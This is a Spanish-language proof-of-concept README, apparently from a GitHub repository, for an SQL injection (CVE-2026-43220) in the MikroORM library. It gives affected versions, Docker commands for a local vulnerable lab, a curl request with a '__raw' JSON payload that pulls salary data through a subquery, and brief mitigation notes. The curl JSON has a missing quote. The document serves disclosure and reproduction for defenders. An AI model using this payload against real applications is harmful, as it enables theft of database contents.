
Vulnerabilidad de inyección SQL en MikroORM
★ PoC de Inyección SQL en MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 es una vulnerabilidad de Inyección SQL en MikroORM, un framework ORM para TypeScript/Node.js ampliamente utilizado.
Cuando un valor proporcionado por el usuario que contiene una propiedad__rawse pasa a una columna de tipo personalizado sin validación, la comprobaciónisRaw()de MikroORM lo identifica como una expresión SQL Raw interna de confianza e inserta el valorsqlcontrolado por el atacante directamente en la consulta generada sin conversión de tipo ni saneamiento, provocando la ejecución no intencionada de SQL arbitrario.
| Categoría | Versión |
|---|
| Vulnerable | MikroORM versión ≤ 6.4.3 & 7.0.0 ≤ versión ≤ 7.0.5 |
| Parcheada | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Tras iniciar el entorno vulnerable, siga los pasos a continuación para reproducir el ataque.
__rawEnvíe un cuerpo JSON que incluya una propiedad __raw dirigida a una columna de tipo personalizado.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Verifique que la API devuelve una respuesta exitosa sin ningún error, lo que indica que MikroORM aceptó el payload malicioso como un valor válido.
Verifique que el campo content de la publicación creada contiene el resultado de la consulta
de la tabla salaries (p. ej., Alice: 5000 / Bob: 7000 / ...),
lo que confirma que datos de una tabla no relacionada se han incrustado silenciosamente
en la respuesta sin ningún error ni violación de control de acceso.
isRaw() para rechazar propiedades __raw proporcionadas externamente__raw antes de pasar valores a la capa ORM